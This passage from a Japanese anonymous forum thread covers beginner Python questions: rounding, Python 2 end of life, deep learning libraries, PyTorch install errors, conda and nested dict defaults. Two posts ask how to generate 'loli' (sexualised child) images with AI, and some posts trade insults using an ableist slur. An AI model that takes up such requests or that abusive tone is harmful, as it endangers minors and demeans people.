round使うにしても整数のまま桁数指定したほうが良いでしょ
round(x,-2)
正確に四捨五入しようと思うとまあまあめんどくさい
round使うにしても整数のまま桁数指定したほうが良いでしょ
round(x,-2)
正確に四捨五入しようと思うとまあまあめんどくさい
669デフォルトの名無しさん
2019/06/24(月) 08:18:56.23ID:gvIH4051 下の桁が5ぴったりのときは偶数の方に丸められる…
round(250,-2)=200だけどround(251,-2)=300
程度の誤差は発生する
round(250,-2)=200だけどround(251,-2)=300
程度の誤差は発生する
670デフォルトの名無しさん
2019/06/24(月) 10:18:35.21ID:BNnw42OK 回答どうもです
クリック位置の座標にあるセル(100px,100px)にブロックを追加したかったので、四捨五入したかったんです
例えばマインクラフトや、タイルマップエディタのような感じですね
四捨五入するというアプローチは間違ってますか?
クリック位置の座標にあるセル(100px,100px)にブロックを追加したかったので、四捨五入したかったんです
例えばマインクラフトや、タイルマップエディタのような感じですね
四捨五入するというアプローチは間違ってますか?
671デフォルトの名無しさん
2019/06/24(月) 10:47:38.86ID:gvIH4051672デフォルトの名無しさん
2019/06/24(月) 10:54:33.25ID:gvIH4051 ちなみに整数の切り捨ては簡単
(x//100)*100
pythonあんまり関係ないけど
(x//100)*100
pythonあんまり関係ないけど
673デフォルトの名無しさん
2019/06/24(月) 10:55:53.38ID:BNnw42OK674デフォルトの名無しさん
2019/06/24(月) 11:03:10.80ID:ZLUJdTng これを機会に丸め(round )についてちゃんと勉強しといたほうがいいよ、まじで
Python関係なくコンピュータの動作原理そのものだから
Python関係なくコンピュータの動作原理そのものだから
675デフォルトの名無しさん
2019/06/24(月) 11:17:31.08ID:g/qBOTpc へ?
676デフォルトの名無しさん
2019/06/24(月) 11:32:01.40ID:BNnw42OK677デフォルトの名無しさん
2019/06/24(月) 12:13:26.53ID:gvIH4051678デフォルトの名無しさん
2019/06/24(月) 13:08:06.71ID:NW8XqAfb679デフォルトの名無しさん
2019/06/24(月) 14:23:32.33ID:BXNZhLwW680デフォルトの名無しさん
2019/06/24(月) 14:33:13.24ID:BXNZhLwW del は要素の削除の時は使うけど変数を削除するためには余程の事がない限りは先ず使わないな。
local変数は関数を抜けたら全て解放されるし。
local変数は関数を抜けたら全て解放されるし。
681デフォルトの名無しさん
2019/06/24(月) 15:15:16.10ID:BNnw42OK >>677
ありがとぅ
ありがとぅ
682デフォルトの名無しさん
2019/06/25(火) 15:49:38.15ID:iL+j6rnn683デフォルトの名無しさん
2019/06/27(木) 12:02:19.97ID:lIUc4BCV Python 2系終了のタイムリミット迫る。早く「3系」に切り替えよう
2019年06月27日 05時00分 公開 [一色政彦,デジタルアドバンテージ]
https://www.atmarkit.co.jp/ait/articles/1906/27/news016.html
(前略) ・2020年1月1日までに、Python 2.7のサポートを打ち切る
という共同宣誓を、「Sunsetting Python 2 support」(python3statement.org)という
サイト上で公に発表している。
この中には、Pythonでデータを扱うために必須のNumPyやpandas、Matplotlib、
Jupyter Notebookから、BokehやPillowなどまである。さらには、ディープラーニング/
機械学習のライブラリであるTensorFlow、scikit-learnなどなど、そうそうたる有名ライ
ブラリまでも名を連ねているのだ。(中略)
各種ライブラリのタイムライン
これを見ると、pandas、scikit-learnに至っては、既にPython 2系統のサポートは終了
している状況である。
[Projects Timeline]セクションには載っていないが、TensorFlowの場合は、2020年1月
1日を持ってPython 3のみをサポートし、Python 2はサポートしなくなる。2020年以降に、
どうしてもPython 2を使う必要があれば、古いバージョンのTensorFlowを使わざるを得なく
なる状況だ。
以上の通り、Python 2の寿命はあと半年である。これからは意識して2系統ではなく
「Python 3」を使っていくべきだろう。また、最新のライブラリを使う必要がある既存の
Pythonプロジェクトについても、Python 3への移行をそろそろ計画して始めなければなら
ない時期である。本稿がそのきっかけとなればうれしい。
2019年06月27日 05時00分 公開 [一色政彦,デジタルアドバンテージ]
https://www.atmarkit.co.jp/ait/articles/1906/27/news016.html
(前略) ・2020年1月1日までに、Python 2.7のサポートを打ち切る
という共同宣誓を、「Sunsetting Python 2 support」(python3statement.org)という
サイト上で公に発表している。
この中には、Pythonでデータを扱うために必須のNumPyやpandas、Matplotlib、
Jupyter Notebookから、BokehやPillowなどまである。さらには、ディープラーニング/
機械学習のライブラリであるTensorFlow、scikit-learnなどなど、そうそうたる有名ライ
ブラリまでも名を連ねているのだ。(中略)
各種ライブラリのタイムライン
これを見ると、pandas、scikit-learnに至っては、既にPython 2系統のサポートは終了
している状況である。
[Projects Timeline]セクションには載っていないが、TensorFlowの場合は、2020年1月
1日を持ってPython 3のみをサポートし、Python 2はサポートしなくなる。2020年以降に、
どうしてもPython 2を使う必要があれば、古いバージョンのTensorFlowを使わざるを得なく
なる状況だ。
以上の通り、Python 2の寿命はあと半年である。これからは意識して2系統ではなく
「Python 3」を使っていくべきだろう。また、最新のライブラリを使う必要がある既存の
Pythonプロジェクトについても、Python 3への移行をそろそろ計画して始めなければなら
ない時期である。本稿がそのきっかけとなればうれしい。
684デフォルトの名無しさん
2019/06/27(木) 14:02:36.05ID:8h/96yF8 画像編集・処理ソフト内のPythonと称するスクリプトは2を使ってるのが多いなあ
685デフォルトの名無しさん
2019/06/27(木) 14:21:07.05ID:3KqxYutW Linuxディストリビューションに最初から入ってるのは2.7が多いね
多分昔からあるシステム関係のソフトでpython2を必要としているのがあるんだろうけどちゃんと移行できるのかな
多分昔からあるシステム関係のソフトでpython2を必要としているのがあるんだろうけどちゃんと移行できるのかな
686デフォルトの名無しさん
2019/06/27(木) 15:29:59.14ID:pYqGtZqT そういうのはディストリビューターがサポートするから2100年まで使ってても構わんぞ
まあRHEL8すら標準はPython3になるけどね
まあRHEL8すら標準はPython3になるけどね
687デフォルトの名無しさん
2019/06/27(木) 16:09:30.43ID:LGNWVUpq メッチャ大手やんけ
すらって何だよすらって
何様だザコが
すらって何だよすらって
何様だザコが
688デフォルトの名無しさん
2019/06/27(木) 16:27:09.53ID:OHdwTxjO689デフォルトの名無しさん
2019/06/27(木) 17:57:32.97ID:PgHu/R4C 保守的なrhelですらって意味だろうに
690デフォルトの名無しさん
2019/06/27(木) 17:59:35.00ID:eSnhVs4m 俺はザコでも生ゴミガイジほどではないからさ〜
話しかけないで欲しいな、ガイジ菌が感染るだろ
話しかけないで欲しいな、ガイジ菌が感染るだろ
691デフォルトの名無しさん
2019/06/27(木) 18:13:36.21ID:vYBmK8+j 新しいことができなくても、
今までできたことができなくなるわけじゃないでしょ。
OSのときもそうだけど、サポート切れで騒ぎすぎ。
今までできたことができなくなるわけじゃないでしょ。
OSのときもそうだけど、サポート切れで騒ぎすぎ。
692デフォルトの名無しさん
2019/06/27(木) 20:08:13.88ID:6BpnkIsf 脆弱性パッチとか放置してそう
693デフォルトの名無しさん
2019/06/27(木) 22:15:27.57ID:Bmk5LBR0 未だに最新 macOS でもデフォは2系だからな
「後方互換性の断絶」という負の遺産はあまりに重すぎる
「後方互換性の断絶」という負の遺産はあまりに重すぎる
694デフォルトの名無しさん
2019/06/28(金) 01:02:48.77ID:ZUKGdUen perlを思い出すな
695デフォルトの名無しさん
2019/06/28(金) 07:21:07.41ID:daeMTUV/ 初心者向けのディープラーニングのサイトないですか(´;ω;`)
696デフォルトの名無しさん
2019/06/28(金) 08:27:31.29ID:TdQiUvSj >>693
PHPと同格だな
PHPと同格だな
697デフォルトの名無しさん
2019/06/28(金) 08:33:40.99ID:NUNLAInL698デフォルトの名無しさん
2019/06/28(金) 08:41:18.90ID:daeMTUV/ Chainerって開発環境だったんですか
サイト名だと思っていました
サイト名だと思っていました
699デフォルトの名無しさん
2019/06/28(金) 10:47:02.91ID:u4Lk6Ssv Chainerなんか全然ダメだって!チュートリアルは日本語だけど、ドキュメントは英語だからわざわざChainer選ぶ必要無し
チュートリアルなんかどこにでもあるような基礎をサラっと書いてあるだけのただの導入部なんだから全く役に立たないよ
大切なのはドキュメント、そのドキュメントが英語w それなら他のライブラリ使ったほうがいい
利用人口も考えたらマイナーなChainerは全然ダメ、マイナーでドキュメントは英語w 良いところが全く無い
やるなら断然Keras、PyTorch、TensorFlowのどれかでしょ
Kerasはドキュメントが日本語にも対応(https://keras.io/ja/)してるし、初心者向けだからKerasが一押しかな
個人的にはディープラーニング以外もできる超有名ライブラリscikit-learnから始めようと思っている
チュートリアルなんかどこにでもあるような基礎をサラっと書いてあるだけのただの導入部なんだから全く役に立たないよ
大切なのはドキュメント、そのドキュメントが英語w それなら他のライブラリ使ったほうがいい
利用人口も考えたらマイナーなChainerは全然ダメ、マイナーでドキュメントは英語w 良いところが全く無い
やるなら断然Keras、PyTorch、TensorFlowのどれかでしょ
Kerasはドキュメントが日本語にも対応(https://keras.io/ja/)してるし、初心者向けだからKerasが一押しかな
個人的にはディープラーニング以外もできる超有名ライブラリscikit-learnから始めようと思っている
700デフォルトの名無しさん
2019/06/28(金) 10:55:26.00ID:w3LBTBue >>699
英語でも問題ないならどれがお勧めですか?
英語でも問題ないならどれがお勧めですか?
701デフォルトの名無しさん
2019/06/28(金) 10:59:20.17ID:DNMeQEB+ 始めてもない初心者が始めてもない初心者に説明してて草
702デフォルトの名無しさん
2019/06/28(金) 11:11:18.13ID:MmE4pekw オチが秀逸
703デフォルトの名無しさん
2019/06/28(金) 11:28:34.72ID:fSH27hWb scikit-learnワロタwww
704デフォルトの名無しさん
2019/06/28(金) 11:57:54.82ID:NUNLAInL >>700
英語が問題ないならKaggleのEDAを読む
英語が問題ないならKaggleのEDAを読む
705デフォルトの名無しさん
2019/06/28(金) 12:21:50.25ID:ojy9uiO/ フランスに渡米的なあれか
706デフォルトの名無しさん
2019/06/28(金) 12:29:41.47ID:njjnbHqA 色々書いてあるけど結局英語だからダメとしか言ってなくてわろた
707デフォルトの名無しさん
2019/06/28(金) 12:34:15.15ID:FaFJPDu1 もうこのさいスピードラーニングでいいんじゃね?
708デフォルトの名無しさん
2019/06/28(金) 12:47:08.76ID:u4Lk6Ssv >>700
うーん、難しいね、みんなも指摘している通りまだ始めてもいないからね
ただ始める前にどれが良いかを選定しただけなんだよ
何から始めるかは結構重要じゃん?
タダなんだから全部やってみればいいと言う人もいるけど、少し触った程度じゃ全然ダメ!
少し触っただけで分かった気になる人には有効かもしれないけど、それだと実際何の意味も無い
少し触った程度の知識じゃ何もできないことくらい分かるよね?
時間はタダじゃないし選定は重要さ
PythonとRubyのどちらかを選んだかでその後の人生が大きく変わるのと一緒
Rubyを選んだ人達は本当にマヌケだよね、Rubyを勉強したことは無駄ではないと言われそうだけど
使わないならそれはゴミさ、え?まだRubyを使っている人もいるって?ハッハッハッそいつはとんでもない馬鹿だなw
ちょっと話が逸れちゃったけど、えーっと「英語でも問題無いならどのライブラリが良いか」ということだけど
正直分からないな、なぜなら私は書籍で勉強するタイプだからね、もちろんネットも使うけど
書籍が学習の中心さ、そして日本語の書籍はどれも充実しているから英語とか関係無いわけ
ちなみにscikit-learnの学習で使用する書籍も選定済みさ
『Pythonではじめる機械学習 ―scikit-learnで学ぶ特徴量エンジニアリングと機械学習の基礎』
色んなレビューをみたけど、これがベストだろうね フフフッ
うーん、難しいね、みんなも指摘している通りまだ始めてもいないからね
ただ始める前にどれが良いかを選定しただけなんだよ
何から始めるかは結構重要じゃん?
タダなんだから全部やってみればいいと言う人もいるけど、少し触った程度じゃ全然ダメ!
少し触っただけで分かった気になる人には有効かもしれないけど、それだと実際何の意味も無い
少し触った程度の知識じゃ何もできないことくらい分かるよね?
時間はタダじゃないし選定は重要さ
PythonとRubyのどちらかを選んだかでその後の人生が大きく変わるのと一緒
Rubyを選んだ人達は本当にマヌケだよね、Rubyを勉強したことは無駄ではないと言われそうだけど
使わないならそれはゴミさ、え?まだRubyを使っている人もいるって?ハッハッハッそいつはとんでもない馬鹿だなw
ちょっと話が逸れちゃったけど、えーっと「英語でも問題無いならどのライブラリが良いか」ということだけど
正直分からないな、なぜなら私は書籍で勉強するタイプだからね、もちろんネットも使うけど
書籍が学習の中心さ、そして日本語の書籍はどれも充実しているから英語とか関係無いわけ
ちなみにscikit-learnの学習で使用する書籍も選定済みさ
『Pythonではじめる機械学習 ―scikit-learnで学ぶ特徴量エンジニアリングと機械学習の基礎』
色んなレビューをみたけど、これがベストだろうね フフフッ
709デフォルトの名無しさん
2019/06/28(金) 12:55:30.23ID:MmE4pekw 調子のんなよアホ
2回目は面白くないぞ
2回目は面白くないぞ
710デフォルトの名無しさん
2019/06/28(金) 12:58:15.05ID:u4Lk6Ssv どうやら彼はRubyistのようだね
711デフォルトの名無しさん
2019/06/28(金) 12:58:51.55ID:daeMTUV/ python aiでロリ画像作りたいんです
712デフォルトの名無しさん
2019/06/28(金) 13:18:15.68ID:G1luPjEj713デフォルトの名無しさん
2019/06/28(金) 13:20:35.41ID:fSH27hWb ?
されてるけど?
されてるけど?
714デフォルトの名無しさん
2019/06/28(金) 17:35:04.61ID:F+cepw8m Pythonや人工知能関連書籍が好調 - コンピュータ出版販売研究機構
2019/06/28 16:09 長岡弥太郎
https://news.mynavi.jp/article/20190628-850554/
日本におけるコンピュータ関連書販売のインフラ作りと販売効率を目指すコンピュータ
出版販売研究機構(CPU/Computer book Publisher United)は28日、2018年度のコンピュータ
書籍の書店別の売上げランキングなどを含むCPU大賞を発表した。
コンピュータ関連書籍を発行する7社(インプレス、SBクリエイティブ、技術評論社、秀和
システム、翔泳社、マイナビ出版、ソシム)が加盟するCPUでは、加盟各社の売上冊数を
集計し、書店やコンピュータ書籍の表彰を行っている。2018年度は調査書店約2,000店の
平均前期比が104.7%と増加、棚分類コードによる区分けで「Python(159.7%)」「人工知能
(151.4%)」「子どもプログラミング(117.9%)」など7ジャンルでの16.4万冊の増化が押し
上げた格好。機械学習に親和性のあるPythonや人工知能に関連する棚の書籍が150%を超えて
おり、広がるAI関連のニーズがうかがえる。(後略)
2019/06/28 16:09 長岡弥太郎
https://news.mynavi.jp/article/20190628-850554/
日本におけるコンピュータ関連書販売のインフラ作りと販売効率を目指すコンピュータ
出版販売研究機構(CPU/Computer book Publisher United)は28日、2018年度のコンピュータ
書籍の書店別の売上げランキングなどを含むCPU大賞を発表した。
コンピュータ関連書籍を発行する7社(インプレス、SBクリエイティブ、技術評論社、秀和
システム、翔泳社、マイナビ出版、ソシム)が加盟するCPUでは、加盟各社の売上冊数を
集計し、書店やコンピュータ書籍の表彰を行っている。2018年度は調査書店約2,000店の
平均前期比が104.7%と増加、棚分類コードによる区分けで「Python(159.7%)」「人工知能
(151.4%)」「子どもプログラミング(117.9%)」など7ジャンルでの16.4万冊の増化が押し
上げた格好。機械学習に親和性のあるPythonや人工知能に関連する棚の書籍が150%を超えて
おり、広がるAI関連のニーズがうかがえる。(後略)
715デフォルトの名無しさん
2019/06/28(金) 17:50:30.89ID:daeMTUV/ ディープラーニングをvs codeでやる場合はなんのライブラリがいいんでしょうか?
pytorchをインストールしようとしてるんですが、エラーでてインストールされないし、vs code使えるのかどうかもわからないです
pytorchをインストールしようとしてるんですが、エラーでてインストールされないし、vs code使えるのかどうかもわからないです
716デフォルトの名無しさん
2019/06/28(金) 17:55:28.52ID:dC8SOOCF メロン
717デフォルトの名無しさん
2019/06/28(金) 22:19:26.33ID:RgUDMaz7 pygameで文字はfont.renderで出しているんだけど
これを90度回転できないだろうか
これを90度回転できないだろうか
718デフォルトの名無しさん
2019/06/29(土) 00:18:52.19ID:imk8uAZ7 >>717
transform.rotateで出ない?
transform.rotateで出ない?
719デフォルトの名無しさん
2019/06/29(土) 02:00:20.43ID:sli9M1dN720デフォルトの名無しさん
2019/06/29(土) 04:28:30.22ID:wduzIWp0721デフォルトの名無しさん
2019/06/29(土) 08:15:54.66ID:8bAr7lLW anaconda結構文句言われてるけど、変に色々入れるくらいならPATHで
コントロールするanacondaのが楽だわ。
コントロールするanacondaのが楽だわ。
722デフォルトの名無しさん
2019/06/29(土) 08:25:40.19ID:ChoVB/Br >>717
surfaceで持っておけば画像と同じだから後はどうとでも処理できる
surfaceで持っておけば画像と同じだから後はどうとでも処理できる
723デフォルトの名無しさん
2019/06/29(土) 09:04:45.59ID:wduzIWp0 pythonのaiでロリ画像生成できます?
724デフォルトの名無しさん
2019/06/29(土) 10:06:59.87ID:+7j52G96 anacondaは一生使わないライブラリが大量に入るから容量と通信の無駄が多い
condaコマンドは優れてるからminicondaなら使うけど
condaコマンドは優れてるからminicondaなら使うけど
725デフォルトの名無しさん
2019/06/29(土) 10:39:01.23ID:oQRmI9ED 最近話題のdeepNudeはpython?
726デフォルトの名無しさん
2019/06/29(土) 11:09:29.29ID:MFPesPdi Pythonを駆使してモテモテになりたい
727デフォルトの名無しさん
2019/06/29(土) 11:14:40.56ID:S1v50lfX >>725 python みたいだな。
728デフォルトの名無しさん
2019/06/29(土) 11:29:24.21ID:wduzIWp0 ディープラーニングはアナコンダとminicondaというのどちらがいいんですか?
729デフォルトの名無しさん
2019/06/29(土) 11:42:10.57ID:Kp+ip4R/ >>721
2ちゃんで本当のことかくと叩かれるから
2ちゃんで本当のことかくと叩かれるから
730デフォルトの名無しさん
2019/06/29(土) 12:32:39.05ID:OzStntkP anacondaに無いパッケージを入れたいんだけど、pipと併用するとよくないみたいなのみるけどまずいですか?
731デフォルトの名無しさん
2019/06/29(土) 12:41:07.98ID:TBOm/90P anacondaとpip併用しても問題無い
condaを先に試して入って無ければpip
condaを先に試して入って無ければpip
732デフォルトの名無しさん
2019/06/29(土) 12:52:23.23ID:g5F5PAlf すみません、初心者質問は承知で多分既出だとも思うんですが、お勧めの定番入門本とかあったら教えてください
Pythonチュートリアルで勉強してたらいきなり「words.insert(0, w)」というのが出てきて、関数をドットで繋いで使うとかそこら辺の説明すらなかったので
一応、C、シェル、PerlはわかるPython初心者です
Pythonチュートリアルで勉強してたらいきなり「words.insert(0, w)」というのが出てきて、関数をドットで繋いで使うとかそこら辺の説明すらなかったので
一応、C、シェル、PerlはわかるPython初心者です
733デフォルトの名無しさん
2019/06/29(土) 13:23:35.70ID:TBOm/90P >関数をドットで繋いで使う
そのコードはそんなことしてない
それは*byの習慣だからあっちのスレで聴いた方が良い
そのコードはそんなことしてない
それは*byの習慣だからあっちのスレで聴いた方が良い
734デフォルトの名無しさん
2019/06/29(土) 13:27:02.26ID:g5F5PAlf >>733
そこも含めて書籍を頼む…_| ̄|〇
そこも含めて書籍を頼む…_| ̄|〇
735デフォルトの名無しさん
2019/06/29(土) 13:39:31.60ID:RmkpebDX736デフォルトの名無しさん
2019/06/29(土) 14:33:14.47ID:TBOm/90P words が WordClass のインスタンスだったとして
WordClass.insert(words, 0, w)
WordClass.insert(words, 0, w)
737デフォルトの名無しさん
2019/06/29(土) 15:28:01.69ID:wduzIWp0 anacondaとminicondaどっちがいいんですか
738デフォルトの名無しさん
2019/06/29(土) 15:30:25.08ID:B1XM/CRt739デフォルトの名無しさん
2019/06/29(土) 15:49:17.12ID:wduzIWp0 pytorch入れようとするとこういうメッセージが出るのですが、デバッグ方法はあるでしょうか?
win10
python3.7
gpuはgtx使ってますが、cudaというのはよくわかりません
ERROR: torch-1.1.0-cp37-cp37m-win_amd64.whl is not a supported wheel on this platform.
>>738
win10
python3.7
gpuはgtx使ってますが、cudaというのはよくわかりません
ERROR: torch-1.1.0-cp37-cp37m-win_amd64.whl is not a supported wheel on this platform.
>>738
740デフォルトの名無しさん
2019/06/29(土) 15:51:17.75ID:TBOm/90P エラーメッセージ貼る前に読めよ
741デフォルトの名無しさん
2019/06/29(土) 16:21:49.24ID:S1v50lfX >>736 a.b と言うのは、a という親分の下で働いてる子分の働きだよ。
関数とメソッドの違いってなに?
https://python.ms/object/class/method/#メソッドの仕組み
関数とメソッドの違いってなに?
https://python.ms/object/class/method/#メソッドの仕組み
742デフォルトの名無しさん
2019/06/29(土) 17:36:51.13ID:XwosheAJ >>739
あきらめてGoogle Colab使え
あきらめてGoogle Colab使え
743デフォルトの名無しさん
2019/07/01(月) 08:57:18.32ID:wZSo+WFq PythonコードをWin/Mac/Linuxバイナリに変換する「PyOxidizer」
2019/07/01 07:15 後藤大地
https://news.mynavi.jp/article/20190701-851010/
Fossbytesは6月27日(米国時間)、「PyOxidizer Can Turn Python Code Into Apps For
Windows, MacOS, Linux」において、Pythonスクリプトをバイナリファイルに変換する
ツール「PyOxidizer」を紹介した。このツールを使うと、Pythonスクリプトをそれ単体で
実行できるバイナリファイルに変換してくれる。サポートされているプラットフォームは
Windows、macOS、Linuxの3つ。
Pythonは現在人気の高いプログラミング言語の1つ。集計方法にもよるが、Pythonはどの
ランキングにおいても長期にわたって成長傾向を続けており、利用されるシーンが広がって
いる。しかし、記事ではこうした利用がプログラマーに限定されたものと指摘。Pythonで
開発されたソフトウェアを利用するにはユーザーが実行環境を整える必要があるとし、
プログラマー以外のユーザは利用しにくい状況にあると説明している。
「PyOxidizer」はPythonスクリプトをそのスクリプトを実行するのに必要になるパッケージ
やモジュールも含めて単一のバイナリファイルにまとめるツール。Pythonの実行環境その
ものも含むため、実行するためにPython実行環境がインストールされている必要はない。
2019/07/01 07:15 後藤大地
https://news.mynavi.jp/article/20190701-851010/
Fossbytesは6月27日(米国時間)、「PyOxidizer Can Turn Python Code Into Apps For
Windows, MacOS, Linux」において、Pythonスクリプトをバイナリファイルに変換する
ツール「PyOxidizer」を紹介した。このツールを使うと、Pythonスクリプトをそれ単体で
実行できるバイナリファイルに変換してくれる。サポートされているプラットフォームは
Windows、macOS、Linuxの3つ。
Pythonは現在人気の高いプログラミング言語の1つ。集計方法にもよるが、Pythonはどの
ランキングにおいても長期にわたって成長傾向を続けており、利用されるシーンが広がって
いる。しかし、記事ではこうした利用がプログラマーに限定されたものと指摘。Pythonで
開発されたソフトウェアを利用するにはユーザーが実行環境を整える必要があるとし、
プログラマー以外のユーザは利用しにくい状況にあると説明している。
「PyOxidizer」はPythonスクリプトをそのスクリプトを実行するのに必要になるパッケージ
やモジュールも含めて単一のバイナリファイルにまとめるツール。Pythonの実行環境その
ものも含むため、実行するためにPython実行環境がインストールされている必要はない。
744デフォルトの名無しさん
2019/07/01(月) 09:08:11.63ID:FHvDVJqd Pythonのexe化は現状70点くらいのツールばっかだったからちょっと期待
745デフォルトの名無しさん
2019/07/01(月) 12:39:59.36ID:iv7OXwyN rust使うならARMでもいけるかな?
Pythonコードをrustのソースに変換してコンパイルなのかね。
リポジトリのrustがv1.24だったからそこからだな。。。
Pythonコードをrustのソースに変換してコンパイルなのかね。
リポジトリのrustがv1.24だったからそこからだな。。。
746デフォルトの名無しさん
2019/07/01(月) 12:55:46.77ID:MgHHtJYe 他言語ソースに変換かますのか…
嫌な予感しかしないが果たして…
嫌な予感しかしないが果たして…
747デフォルトの名無しさん
2019/07/01(月) 14:02:44.17ID:8FaRxtrB オキシジェンデストロイヤーか?
748デフォルトの名無しさん
2019/07/01(月) 17:02:13.93ID:mfXnIK0X749デフォルトの名無しさん
2019/07/01(月) 17:03:01.02ID:87GWfzf4 変換するならCで良いのに
750デフォルトの名無しさん
2019/07/01(月) 17:10:34.24ID:BI8NBVxI pyinstaller で良いじゃん。
751デフォルトの名無しさん
2019/07/01(月) 20:15:41.44ID:9atLkvVL ちょっとロジックを思い付いたらすぐ書けてすぐ動かせるから便利だよなあ
がっこーのすーがくがほとんどそのままコードになっちゃう、と慣れてくると感じられる
他言語だと変数を入れ物として用意するだけで大騒ぎになる事もあるのに
がっこーのすーがくがほとんどそのままコードになっちゃう、と慣れてくると感じられる
他言語だと変数を入れ物として用意するだけで大騒ぎになる事もあるのに
752デフォルトの名無しさん
2019/07/01(月) 22:30:48.99ID:JI1ijrri Python書きは全員スリザリン
753デフォルトの名無しさん
2019/07/02(火) 05:46:14.67ID:uFIJ2kIH cpのバージョンを確認する方法を教えてください
>>> from pip._internal.pep425tags import get_supported
>>> get_supported()
これを実行するといいらしいですが、複数行の実行ッテできますか?
>>> from pip._internal.pep425tags import get_supported
>>> get_supported()
これを実行するといいらしいですが、複数行の実行ッテできますか?
754デフォルトの名無しさん
2019/07/02(火) 07:46:15.59ID:blpuf0ub755デフォルトの名無しさん
2019/07/02(火) 08:19:02.01ID:uFIJ2kIH 一行ずつとはなんですか?1行入力したら実行されてしまいますよね
ちなみに、コマンドプロンプトとpythonコンソールのどちらなんでしょうか
ちなみに、コマンドプロンプトとpythonコンソールのどちらなんでしょうか
756デフォルトの名無しさん
2019/07/02(火) 08:43:06.16ID:4rfpS9qX ああ、一行実行するたびにリセットされると思ってんのか
757デフォルトの名無しさん
2019/07/02(火) 08:55:13.96ID:TxeTA/vY python以前にスクリプトやインタープリタがどういうものか理解したほうが良いと思う
758デフォルトの名無しさん
2019/07/02(火) 08:59:35.64ID:c8d3dvCE 対話モード理解してないんじゃない?
759デフォルトの名無しさん
2019/07/02(火) 09:28:28.74ID:blpuf0ub760デフォルトの名無しさん
2019/07/02(火) 09:49:57.80ID:04pLlP8x N88BASIC見たいな奴だな
761デフォルトの名無しさん
2019/07/02(火) 10:05:07.50ID:uFIJ2kIH すみません できました
ごめんなさぃ
ごめんなさぃ
762デフォルトの名無しさん
2019/07/02(火) 10:20:28.33ID:uFIJ2kIH pipのcp?の対応を調べたら、cp37,cp37mまでは対応しているようですが、
win_amd64という部分が対応していないようです
これに対応したpipってのはどこにありますか?
pip3 install https://download.pytorch.org/whl/cpu/torch-1.1.0-cp37-cp37m-win_amd64.whl
win_amd64という部分が対応していないようです
これに対応したpipってのはどこにありますか?
pip3 install https://download.pytorch.org/whl/cpu/torch-1.1.0-cp37-cp37m-win_amd64.whl
763デフォルトの名無しさん
2019/07/02(火) 11:15:49.54ID:fYght1Ti dictのキーがなかった場合、デフォルト値を返す処理を簡潔に書きたいと思っていて、
getというメソッドがあることまではわかったのですが、getだと多重構造には対応できないようです
d["a"]["b"]の値を取得しようとして
d["a"]がなかった場合でも、d["a"]["b"]がなかった場合でも
デフォルト値を返すような処理はないものでしょうか?
自作関数で実現可能ならその関数を教えてください
getというメソッドがあることまではわかったのですが、getだと多重構造には対応できないようです
d["a"]["b"]の値を取得しようとして
d["a"]がなかった場合でも、d["a"]["b"]がなかった場合でも
デフォルト値を返すような処理はないものでしょうか?
自作関数で実現可能ならその関数を教えてください
764デフォルトの名無しさん
2019/07/02(火) 11:17:36.37ID:gdUSXC7I >>763
defaultdictでなんとかなるか?ならないかも
defaultdictでなんとかなるか?ならないかも
765デフォルトの名無しさん
2019/07/02(火) 11:22:11.33ID:dJ0Zw08U766デフォルトの名無しさん
2019/07/02(火) 11:31:11.71ID:6Vbb4ANV d = defaultdict(lambda: defaultdict(lambda: 'defaultvalue'))
767デフォルトの名無しさん
2019/07/02(火) 12:09:39.49ID:fYght1Ti 回答ありがとうございます
defaultdictは惜しい感じだけど、今回のケースでは使えないっぽいです
とりあえずこんな感じで対応することにします
d=デフォルト値を設定したdict
tmp=json.loads
d.update(tmp)
defaultdictは惜しい感じだけど、今回のケースでは使えないっぽいです
とりあえずこんな感じで対応することにします
d=デフォルト値を設定したdict
tmp=json.loads
d.update(tmp)
768デフォルトの名無しさん
2019/07/02(火) 20:25:06.56ID:uFIJ2kIH The conda.compat module is deprecated and will be removed in a future release.
これなんですか?
代わりに何使うんでしょうか。
これなんですか?
代わりに何使うんでしょうか。
769デフォルトの名無しさん
2019/07/02(火) 20:44:36.19ID:anDiu276 >>768
Google翻訳便利だよ
Google翻訳便利だよ
770デフォルトの名無しさん
2019/07/02(火) 20:56:18.25ID:gJ9Mq1Ka >>768
それバグ。テヘ
それバグ。テヘ
771デフォルトの名無しさん
2019/07/03(水) 09:47:03.04ID:2ooccyWk Python 3です。(Pythonista 3)
from scene import *
class Game (Scene):
def setup(self):
self.background_color = 'black'
line([(0,self.size.h/2),
(self.size.w,self.size.h/2)],('white'),(2))
if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)
上記のコードを使って直線を引きたいのですが、
TypeError: function takes exactly 4 arguments (3 given)
と表示されます。
もう一つの足りない引数は何を渡せばいいのでしょうか?
すでに試した事一覧です。
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],fill = 'white',width = 2)
→ TypeError: line() takes no keyword arguments
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10))
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10,10))
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10,10,10))
→ TypeError: must be real number, not list
・line([(0,self.size.h/2-1), (self.size.w,self.size.h/2+1)],('white'),(2))
→ TypeError: function takes exactly 4 arguments (3 given)
from scene import *
class Game (Scene):
def setup(self):
self.background_color = 'black'
line([(0,self.size.h/2),
(self.size.w,self.size.h/2)],('white'),(2))
if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)
上記のコードを使って直線を引きたいのですが、
TypeError: function takes exactly 4 arguments (3 given)
と表示されます。
もう一つの足りない引数は何を渡せばいいのでしょうか?
すでに試した事一覧です。
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],fill = 'white',width = 2)
→ TypeError: line() takes no keyword arguments
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10))
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10,10))
・line([(0,self.size.h/2), (self.size.w,self.size.h/2)],('white'),(2),(10,10,10))
→ TypeError: must be real number, not list
・line([(0,self.size.h/2-1), (self.size.w,self.size.h/2+1)],('white'),(2))
→ TypeError: function takes exactly 4 arguments (3 given)
772デフォルトの名無しさん
2019/07/03(水) 09:50:06.22ID:qkcBtTCC >>771
最初の引数をリストにしない
最初の引数をリストにしない
773デフォルトの名無しさん
2019/07/03(水) 11:06:39.80ID:2ooccyWk >>772
TypeError: must be real number, not tuple
TypeError: must be real number, not tuple
774デフォルトの名無しさん
2019/07/03(水) 11:07:35.63ID:2ooccyWk >>772
test.py", line 7, in setup
